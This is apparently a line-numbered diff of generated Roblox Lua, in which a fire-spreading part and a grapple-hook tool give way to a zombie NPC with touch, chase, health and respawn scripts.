2373+
Part123.TopSurface = Enum.SurfaceType.Smooth
2374-
Part136.Size = Vector3.new(3, 6, 1)
2374+
Part123.brickColor = BrickColor.new("Medium green")
2375-
Part136.Anchored = true
2375+
Part123.FormFactor = Enum.FormFactor.Symmetric
2376-
Part136.BrickColor = BrickColor.new("Black")
2376+
Part123.formFactor = Enum.FormFactor.Symmetric
2377-
Part136.brickColor = BrickColor.new("Black")
2377+
SpecialMesh124.Parent = Part123
2378-
Fire137.Parent = Part136
2378+
SpecialMesh124.Scale = Vector3.new(1.25, 1.25, 1.25)
2379-
Fire137.Color = Color3.new(1, 0.745098, 0)
2379+
Decal125.Name = "face"
2380-
Fire137.Enabled = false
2380+
Decal125.Parent = Part123
2381-
Fire137.Size = 30
2381+
Part126.Name = "Torso"
2382-
Fire137.Heat = 25
2382+
Part126.Parent = Model122
2383-
Fire137.SecondaryColor = Color3.new(1, 0, 0)
2383+
Part126.CFrame = CFrame.new(195.586472, 4.59696293, 241.508453, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
2384-
Fire137.size = 30
2384+
Part126.Orientation = Vector3.new(0, 90, 0)
2385-
Script138.Parent = Fire137
2385+
Part126.Position = Vector3.new(195.586472, 4.59696293, 241.508453)
2386
Part126.Rotation = Vector3.new(0, 90, 0)
2387-
function Spread(part)
2387+
Part126.Color = Color3.new(0.411765, 0.25098, 0.156863)
2388-
	check = part:findFirstChild("Fire")
2388+
Part126.Size = Vector3.new(2, 2, 1)
2389-
		if check == nil then 
2389+
Part126.BrickColor = BrickColor.new("Reddish brown")
2390-
	script.Parent:Clone().Parent = part
2390+
Part126.LeftParamA = 0
2391-
	
2391+
Part126.LeftParamB = 0
2392-
		elseif check ~= nil then
2392+
Part126.LeftSurface = Enum.SurfaceType.Weld
2393-
	check.Size = check.Size + 1
2393+
Part126.RightParamA = 0
2394-
	check.Heat = check.Heat  +1
2394+
Part126.RightParamB = 0
2395
Part126.RightSurface = Enum.SurfaceType.Weld
2396
Part126.brickColor = BrickColor.new("Reddish brown")
2397
Part126.FormFactor = Enum.FormFactor.Symmetric
2398
Part126.formFactor = Enum.FormFactor.Symmetric
2399-
script.Parent.Parent.Touched:connect(Spread)
2399+
Part127.Name = "Left Leg"
2400
Part127.Parent = Model122
2401
Part127.CFrame = CFrame.new(195.586472, 2.59695911, 242.008453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2402
Part127.Orientation = Vector3.new(0, 90, 0)
2403-
Part139.Name = "PUT THE WEAPON IN THIS BRICK"
2403+
Part127.Position = Vector3.new(195.586472, 2.59695911, 242.008453)
2404-
Part139.Parent = Model135
2404+
Part127.Rotation = Vector3.new(0, 90, 0)
2405-
Part139.CFrame = CFrame.new(174.903564, 17.2274952, 185.3125, -2.32724551e-09, -0.000152590073, 0.99999845, 3.05179929e-05, 1, 0.000152590073, -0.99999845, 3.05180438e-05, 2.32495845e-09)
2405+
Part127.Color = Color3.new(0.411765, 0.25098, 0.156863)
2406-
Part139.Orientation = Vector3.new(-0.00999999978, 90, 0)
2406+
Part127.Size = Vector3.new(1, 2, 1)
2407-
Part139.Position = Vector3.new(174.903564, 17.2274952, 185.3125)
2407+
Part127.BottomSurface = Enum.SurfaceType.Smooth
2408-
Part139.Rotation = Vector3.new(-90, 89.9000015, 90)
2408+
Part127.BrickColor = BrickColor.new("Reddish brown")
2409-
Part139.Color = Color3.new(0.94902, 0.952941, 0.952941)
2409+
Part127.CanCollide = false
2410-
Part139.Size = Vector3.new(1, 1.20000005, 5)
2410+
Part127.brickColor = BrickColor.new("Reddish brown")
2411-
Part139.Anchored = true
2411+
Part127.FormFactor = Enum.FormFactor.Symmetric
2412-
Part139.BrickColor = BrickColor.new("White")
2412+
Part127.formFactor = Enum.FormFactor.Symmetric
2413
Part128.Name = "Right Leg"
2414-
Part139.brickColor = BrickColor.new("White")
2414+
Part128.Parent = Model122
2415-
Tool140.Name = "GrappleHook"
2415+
Part128.CFrame = CFrame.new(195.586472, 2.59695911, 241.008453, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
2416-
Tool140.Parent = Part139
2416+
Part128.Orientation = Vector3.new(0, 90, 0)
2417-
Tool140.TextureId = "http://www.roblox.com/asset/?id=30327988"
2417+
Part128.Position = Vector3.new(195.586472, 2.59695911, 241.008453)
2418-
Tool140.Grip = CFrame.new(0, -0.600000024, 1, 1, -0, 0, 0, 1, -0, 0, 0, 1)
2418+
Part128.Rotation = Vector3.new(0, 90, 0)
2419-
Tool140.GripPos = Vector3.new(0, -0.600000024, 1)
2419+
Part128.Color = Color3.new(0.411765, 0.25098, 0.156863)
2420-
Part141.Name = "Handle"
2420+
Part128.Size = Vector3.new(1, 2, 1)
2421-
Part141.Parent = Tool140
2421+
Part128.BottomSurface = Enum.SurfaceType.Smooth
2422-
Part141.CFrame = CFrame.new(174.208252, 15.3907681, 183.160156, -0.20458822, 0.97884804, -7.15255737e-06, 1.3127923e-05, -4.41074371e-06, -0.99999994, -0.97884798, -0.20458822, -1.1920929e-05)
2422+
Part128.BrickColor = BrickColor.new("Reddish brown")
2423-
Part141.Orientation = Vector3.new(89.9799957, -149.039993, 108.57)
2423+
Part128.CanCollide = false
2424-
Part141.Position = Vector3.new(174.208252, 15.3907681, 183.160156)
2424+
Part128.brickColor = BrickColor.new("Reddish brown")
2425-
Part141.Rotation = Vector3.new(90, 0, -101.809998)
2425+
Part128.FormFactor = Enum.FormFactor.Symmetric
2426-
Part141.Color = Color3.new(0.105882, 0.164706, 0.207843)
2426+
Part128.formFactor = Enum.FormFactor.Symmetric
2427-
Part141.Velocity = Vector3.new(-0.00249910494, 0.00119718304, 0.000357981102)
2427+
Humanoid129.Parent = Model122
2428-
Part141.Size = Vector3.new(1, 1.20000005, 2)
2428+
Humanoid129.LeftLeg = Part127
2429-
Part141.BottomSurface = Enum.SurfaceType.Smooth
2429+
Humanoid129.NameOcclusion = Enum.NameOcclusion.NoOcclusion
2430-
Part141.BrickColor = BrickColor.new("Black")
2430+
Humanoid129.RightLeg = Part128
2431-
Part141.RotVelocity = Vector3.new(-0.000503696559, -0.000824314484, 0.00360981515)
2431+
Humanoid129.Torso = Part126
2432-
Part141.TopSurface = Enum.SurfaceType.Smooth
2432+
Part130.Name = "zarm"
2433-
Part141.brickColor = BrickColor.new("Black")
2433+
Part130.Parent = Model122
2434-
Weld142.Name = "BoltWeld"
2434+
Part130.CFrame = CFrame.new(195.086472, 5.09696293, 243.008453, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
2435-
Weld142.Parent = Part141
2435+
Part130.Orientation = Vector3.new(0, 180, 0)
2436-
Weld142.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2436+
Part130.Position = Vector3.new(195.086472, 5.09696293, 243.008453)
2437-
Weld143.Parent = Part141
2437+
Part130.Rotation = Vector3.new(-180, 0, -180)
2438-
Weld143.C1 = CFrame.new(0, 1, -0.399999976, 1, 0, 0, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08)
2438+
Part130.Color = Color3.new(0.631373, 0.768628, 0.54902)
2439-
Weld144.Parent = Part141
2439+
Part130.Size = Vector3.new(2, 1, 1)
2440-
Weld144.C1 = CFrame.new(0, 0.5, -0.550000012, 1, 0, 0, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08)
2440+
Part130.BottomSurface = Enum.SurfaceType.Smooth
2441-
Weld145.Parent = Part141
2441+
Part130.BrickColor = BrickColor.new("Medium green")
2442-
Weld145.C1 = CFrame.new(0, 1, -0.399999976, 1, 0, 0, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08)
2442+
Part130.TopSurface = Enum.SurfaceType.Smooth
2443-
Weld146.Parent = Part141
2443+
Part130.brickColor = BrickColor.new("Medium green")
2444-
Weld146.C1 = CFrame.new(0, 0.5, -0.550000012, 1, 0, 0, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08)
2444+
Part130.FormFactor = Enum.FormFactor.Symmetric
2445-
Weld147.Parent = Part141
2445+
Part130.formFactor = Enum.FormFactor.Symmetric
2446-
Weld147.C1 = CFrame.new(0, 1, -0.399999976, 1, 0, 0, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08)
2446+
Script131.Parent = Part130
2447-
Weld148.Parent = Part141
2447+
table.insert(cors,sandbox(Script131,function()
2448-
Weld148.C1 = CFrame.new(0, 0.5, -0.550000012, 1, 0, 0, 0, -4.37113883e-08, -1, 0, 1, -4.37113883e-08)
2448+
wait(1)
2449-
Sound149.Name = "FireSound"
2449+
owner=script.Parent.Parent.Name
2450-
Sound149.Parent = Part141
2450+
2451-
Sound149.SoundId = "http://www.roblox.com/asset/?id=16211041"
2451+
function onTouched(part)
2452-
Sound149.Volume = 1
2452+
	if part.Parent ~= nil then
2453-
Weld150.Name = "BoltWeld"
2453+
		local h = part.Parent:findFirstChild("Humanoid")
2454-
Weld150.Parent = Part141
2454+
			if h~=nil then
2455-
Weld150.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2455+
				if cantouch~=0 then
2456-
Weld151.Name = "BoltWeld"
2456+
					if h.Parent.Name~=owner then
2457-
Weld151.Parent = Part141
2457+
						
2458-
Weld151.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2458+
						if h.Parent:findFirstChild("zarm")~=nil then return end
2459-
Weld152.Name = "BoltWeld"
2459+
2460-
Weld152.Parent = Part141
2460+
						cantouch=0
2461-
Weld152.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2461+
2462-
Weld153.Name = "BoltWeld"
2462+
						local larm=h.Parent:findFirstChild("Left Arm")
2463-
Weld153.Parent = Part141
2463+
						local rarm=h.Parent:findFirstChild("Right Arm")
2464-
Weld153.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2464+
						
2465-
Weld154.Name = "BoltWeld"
2465+
						if larm~=nil then
2466-
Weld154.Parent = Part141
2466+
							larm:remove()
2467-
Weld154.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2467+
						end
2468-
Weld155.Name = "BoltWeld"
2468+
						if rarm~=nil then
2469-
Weld155.Parent = Part141
2469+
							rarm:remove()
2470-
Weld155.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2470+
						end
2471-
Weld156.Name = "BoltWeld"
2471+
						local zee=script.Parent.Parent:findFirstChild("zarm")
2472-
Weld156.Parent = Part141
2472+
						if zee~=nil then
2473-
Weld156.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2473+
							local zlarm=zee:clone()
2474-
Weld157.Name = "BoltWeld"
2474+
							local zrarm=zee:clone()
2475-
Weld157.Parent = Part141
2475+
							if zlarm~=nil then
2476-
Weld157.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2476+
2477-
Weld158.Name = "BoltWeld"
2477+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
2478-
Weld158.Parent = Part141
2478+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
2479-
Weld158.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2479+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
2480-
Weld159.Name = "BoltWeld"
2480+
								zlarm.Parent=h.Parent
2481-
Weld159.Parent = Part141
2481+
								zrarm.Parent=h.Parent
2482-
Weld159.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2482+
								zlarm:makeJoints()
2483-
Weld160.Name = "BoltWeld"
2483+
								zrarm:makeJoints()
2484-
Weld160.Parent = Part141
2484+
								zlarm.Anchored=false
2485-
Weld160.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2485+
								zrarm.Anchored=false
2486-
Weld161.Name = "BoltWeld"
2486+
								wait(0.1)
2487-
Weld161.Parent = Part141
2487+
								h.Parent.Head.Color=zee.Color
2488-
Weld161.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2488+
							else print("no zee"); return end
2489-
Weld162.Name = "BoltWeld"
2489+
						end
2490-
Weld162.Parent = Part141
2490+
						wait(1)
2491-
Weld162.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2491+
						cantouch=1
2492-
Weld163.Name = "BoltWeld"
2492+
					end
2493-
Weld163.Parent = Part141
2493+
				end
2494-
Weld163.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2494+
2495-
Weld164.Name = "BoltWeld"
2495+
2496-
Weld164.Parent = Part141
2496+
2497-
Weld164.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2497+
2498-
Weld165.Name = "BoltWeld"
2498+
2499-
Weld165.Parent = Part141
2499+
2500-
Weld165.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2500+
Part132.Name = "zarm"
2501-
Weld166.Name = "BoltWeld"
2501+
Part132.Parent = Model122
2502-
Weld166.Parent = Part141
2502+
Part132.CFrame = CFrame.new(195.086472, 5.09696293, 240.008453, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
2503-
Weld166.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2503+
Part132.Orientation = Vector3.new(0, 180, 0)
2504-
Weld167.Name = "BoltWeld"
2504+
Part132.Position = Vector3.new(195.086472, 5.09696293, 240.008453)
2505-
Weld167.Parent = Part141
2505+
Part132.Rotation = Vector3.new(-180, 0, -180)
2506-
Weld167.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2506+
Part132.Color = Color3.new(0.631373, 0.768628, 0.54902)
2507-
Weld168.Name = "BoltWeld"
2507+
Part132.Size = Vector3.new(2, 1, 1)
2508-
Weld168.Parent = Part141
2508+
Part132.BottomSurface = Enum.SurfaceType.Smooth
2509-
Weld168.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2509+
Part132.BrickColor = BrickColor.new("Medium green")
2510-
Weld169.Name = "BoltWeld"
2510+
Part132.TopSurface = Enum.SurfaceType.Smooth
2511-
Weld169.Parent = Part141
2511+
Part132.brickColor = BrickColor.new("Medium green")
2512-
Weld169.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2512+
Part132.FormFactor = Enum.FormFactor.Symmetric
2513-
Weld170.Name = "BoltWeld"
2513+
Part132.formFactor = Enum.FormFactor.Symmetric
2514-
Weld170.Parent = Part141
2514+
Script133.Parent = Part132
2515-
Weld170.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2515+
2516-
Weld171.Name = "BoltWeld"
2516+
wait(1)
2517-
Weld171.Parent = Part141
2517+
owner=script.Parent.Parent.Name
2518-
Weld171.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2518+
2519-
Weld172.Name = "BoltWeld"
2519+
function onTouched(part)
2520-
Weld172.Parent = Part141
2520+
	if part.Parent ~= nil then
2521-
Weld172.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2521+
		local h = part.Parent:findFirstChild("Humanoid")
2522-
Weld173.Name = "BoltWeld"
2522+
			if h~=nil then
2523-
Weld173.Parent = Part141
2523+
				if cantouch~=0 then
2524-
Weld173.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2524+
					if h.Parent.Name~=owner then
2525-
Weld174.Name = "BoltWeld"
2525+
						
2526-
Weld174.Parent = Part141
2526+
						if h.Parent:findFirstChild("zarm")~=nil then return end
2527-
Weld174.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2527+
2528-
Weld175.Name = "BoltWeld"
2528+
						cantouch=0
2529-
Weld175.Parent = Part141
2529+
2530-
Weld175.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2530+
						local larm=h.Parent:findFirstChild("Left Arm")
2531-
Weld176.Name = "BoltWeld"
2531+
						local rarm=h.Parent:findFirstChild("Right Arm")
2532-
Weld176.Parent = Part141
2532+
						
2533-
Weld176.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2533+
						if larm~=nil then
2534-
Weld177.Name = "BoltWeld"
2534+
							larm:remove()
2535-
Weld177.Parent = Part141
2535+
						end
2536-
Weld177.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2536+
						if rarm~=nil then
2537-
Weld178.Name = "BoltWeld"
2537+
							rarm:remove()
2538-
Weld178.Parent = Part141
2538+
						end
2539-
Weld178.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2539+
						local zee=script.Parent.Parent:findFirstChild("zarm")
2540-
Weld179.Name = "BoltWeld"
2540+
						if zee~=nil then
2541-
Weld179.Parent = Part141
2541+
							local zlarm=zee:clone()
2542-
Weld179.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2542+
							local zrarm=zee:clone()
2543-
Weld180.Name = "BoltWeld"
2543+
							if zlarm~=nil then
2544-
Weld180.Parent = Part141
2544+
2545-
Weld180.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2545+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
2546-
Weld181.Name = "BoltWeld"
2546+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
2547-
Weld181.Parent = Part141
2547+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
2548-
Weld181.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2548+
								zlarm.Parent=h.Parent
2549-
Weld182.Name = "BoltWeld"
2549+
								zrarm.Parent=h.Parent
2550-
Weld182.Parent = Part141
2550+
								zlarm:makeJoints()
2551-
Weld182.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2551+
								zrarm:makeJoints()
2552-
Weld183.Name = "BoltWeld"
2552+
								zlarm.Anchored=false
2553-
Weld183.Parent = Part141
2553+
								zrarm.Anchored=false
2554-
Weld183.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2554+
								wait(0.1)
2555-
Weld184.Name = "BoltWeld"
2555+
								h.Parent.Head.Color=zee.Color
2556-
Weld184.Parent = Part141
2556+
							else print("no zee"); return end
2557-
Weld184.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2557+
						end
2558-
Weld185.Name = "BoltWeld"
2558+
						wait(1)
2559-
Weld185.Parent = Part141
2559+
						cantouch=1
2560-
Weld185.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2560+
					end
2561-
Weld186.Name = "BoltWeld"
2561+
				end
2562-
Weld186.Parent = Part141
2562+
2563-
Weld186.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2563+
2564-
Weld187.Name = "BoltWeld"
2564+
2565-
Weld187.Parent = Part141
2565+
2566-
Weld187.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2566+
2567-
Weld188.Name = "BoltWeld"
2567+
2568-
Weld188.Parent = Part141
2568+
ObjectValue134.Name = "IsNZ"
2569-
Weld188.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2569+
ObjectValue134.Parent = Model122
2570-
Weld189.Name = "BoltWeld"
2570+
IntValue135.Name = "Mode"
2571-
Weld189.Parent = Part141
2571+
IntValue135.Parent = Model122
2572-
Weld189.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2572+
Script136.Parent = Model122
2573-
Weld190.Name = "BoltWeld"
2573+
table.insert(cors,sandbox(Script136,function()
2574-
Weld190.Parent = Part141
2574+
local larm = script.Parent:FindFirstChild("Left Arm")
2575-
Weld190.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2575+
local rarm = script.Parent:FindFirstChild("Right Arm")
2576-
Weld191.Name = "BoltWeld"
2576+
2577-
Weld191.Parent = Part141
2577+
function findNearestTorso(pos)
2578-
Weld191.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2578+
	local list = game.Workspace:children()
2579-
Weld192.Name = "BoltWeld"
2579+
	local torso = nil
2580-
Weld192.Parent = Part141
2580+
	local dist = 1000
2581-
Weld192.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2581+
	local temp = nil
2582-
Weld193.Name = "BoltWeld"
2582+
	local human = nil
2583-
Weld193.Parent = Part141
2583+
	local temp2 = nil
2584-
Weld193.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2584+
	for x = 1, #list do
2585-
Weld194.Name = "BoltWeld"
2585+
		temp2 = list[x]
2586-
Weld194.Parent = Part141
2586+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
2587-
Weld194.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2587+
			temp = temp2:findFirstChild("Right Arm")
2588-
Weld195.Name = "BoltWeld"
2588+
			human = temp2:findFirstChild("Humanoid")
2589-
Weld195.Parent = Part141
2589+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
2590-
Weld195.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2590+
				if (temp.Position - pos).magnitude < dist then
2591-
Weld196.Name = "BoltWeld"
2591+
					torso = temp
2592-
Weld196.Parent = Part141
2592+
					dist = (temp.Position - pos).magnitude
2593-
Weld196.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2593+
				end
2594-
Weld197.Name = "BoltWeld"
2594+
2595-
Weld197.Parent = Part141
2595+
2596-
Weld197.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2596+
2597-
Weld198.Name = "BoltWeld"
2597+
	return torso
2598-
Weld198.Parent = Part141
2598+
2599-
Weld198.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2599+
2600-
Weld199.Name = "BoltWeld"
2600+
2601-
Weld199.Parent = Part141
2601+
2602-
Weld199.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2602+
2603-
Weld200.Name = "BoltWeld"
2603+
2604-
Weld200.Parent = Part141
2604+
	wait(math.random(1,5))
2605-
Weld200.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2605+
	local target = findNearestTorso(script.Parent.Torso.Position)
2606-
Weld201.Name = "BoltWeld"
2606+
	if target ~= nil then
2607-
Weld201.Parent = Part141
2607+
		script.Parent.Humanoid:MoveTo(target.Position, target)
2608-
Weld201.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2608+
2609-
Weld202.Name = "BoltWeld"
2609+
2610-
Weld202.Parent = Part141
2610+
2611-
Weld202.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2611+
2612-
Weld203.Name = "BoltWeld"
2612+
2613-
Weld203.Parent = Part141
2613+
Script137.Name = "Health"
2614-
Weld203.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2614+
Script137.Parent = Model122
2615-
Weld204.Name = "BoltWeld"
2615+
table.insert(cors,sandbox(Script137,function()
2616-
Weld204.Parent = Part141
2616+
function waitForChild(parent, childName)
2617-
Weld204.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2617+
	while true do
2618-
Weld205.Name = "BoltWeld"
2618+
		local child = parent:findFirstChild(childName)
2619-
Weld205.Parent = Part141
2619+
		if child then
2620-
Weld205.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2620+
2621-
Weld206.Name = "BoltWeld"
2621+
2622-
Weld206.Parent = Part141
2622+
		parent.ChildAdded:wait()
2623-
Weld206.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2623+
2624-
Weld207.Name = "BoltWeld"
2624+
2625-
Weld207.Parent = Part141
2625+
2626-
Weld207.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2626+
-- declarations
2627-
Weld208.Name = "BoltWeld"
2627+
2628-
Weld208.Parent = Part141
2628+
local Figure = script.Parent
2629-
Weld208.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2629+
local Head = waitForChild(Figure, "Head")
2630-
Weld209.Name = "BoltWeld"
2630+
local Humanoid = waitForChild(Figure, "Humanoid")
2631-
Weld209.Parent = Part141
2631+
Humanoid.Health=500
2632-
Weld209.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2632+
-- regeneration
2633-
Weld210.Name = "BoltWeld"
2633+
2634-
Weld210.Parent = Part141
2634+
	local s = wait(4)
2635-
Weld210.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2635+
	local health = Humanoid.Health
2636-
Sound211.Name = "ConnectSound"
2636+
	if health > 0 and health < Humanoid.MaxHealth then
2637-
Sound211.Parent = Part141
2637+
		health = health + 0.08 * s * Humanoid.MaxHealth
2638-
Sound211.SoundId = "http://www.roblox.com/asset/?id=13510737"
2638+
		if health * 1.05 < Humanoid.MaxHealth then
2639-
Sound211.Volume = 1
2639+
			Humanoid.Health = health
2640-
Weld212.Name = "BoltWeld"
2640+
		else
2641-
Weld212.Parent = Part141
2641+
			Humanoid.Health = Humanoid.MaxHealth
2642-
Weld212.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2642+
2643-
Weld213.Name = "BoltWeld"
2643+
2644-
Weld213.Parent = Part141
2644+
2645-
Weld213.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2645+
2646-
Weld214.Name = "BoltWeld"
2646+
2647-
Weld214.Parent = Part141
2647+
Script138.Name = "Respawn"
2648-
Weld214.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2648+
Script138.Parent = Model122
2649-
Weld215.Name = "BoltWeld"
2649+
2650-
Weld215.Parent = Part141
2650+
name="Humanoid"
2651-
Weld215.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2651+
2652-
Weld216.Name = "BoltWeld"
2652+
robo=script.Parent:clone()
2653-
Weld216.Parent = Part141
2653+
2654-
Weld216.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2654+
2655-
Weld217.Name = "BoltWeld"
2655+
	wait(1)
2656-
Weld217.Parent = Part141
2656+
	if script.Parent.Humanoid.Health<1 then
2657-
Weld217.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2657+
		robot=robo:clone()
2658-
Weld218.Name = "BoltWeld"
2658+
		robot.Parent=script.Parent.Parent
2659-
Weld218.Parent = Part141
2659+
		robot:makeJoints()
2660-
Weld218.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2660+
		script.Parent:remove()
2661-
Weld219.Name = "BoltWeld"
2661+
2662-
Weld219.Parent = Part141
2662+
2663-
Weld219.C1 = CFrame.new(0, -0.349999994, -1.60000002, 1, 0, 0, 0, 1, 0, 0, 0, 1)
2663+
2664-
Weld220.Name = "BoltWeld"
2664+
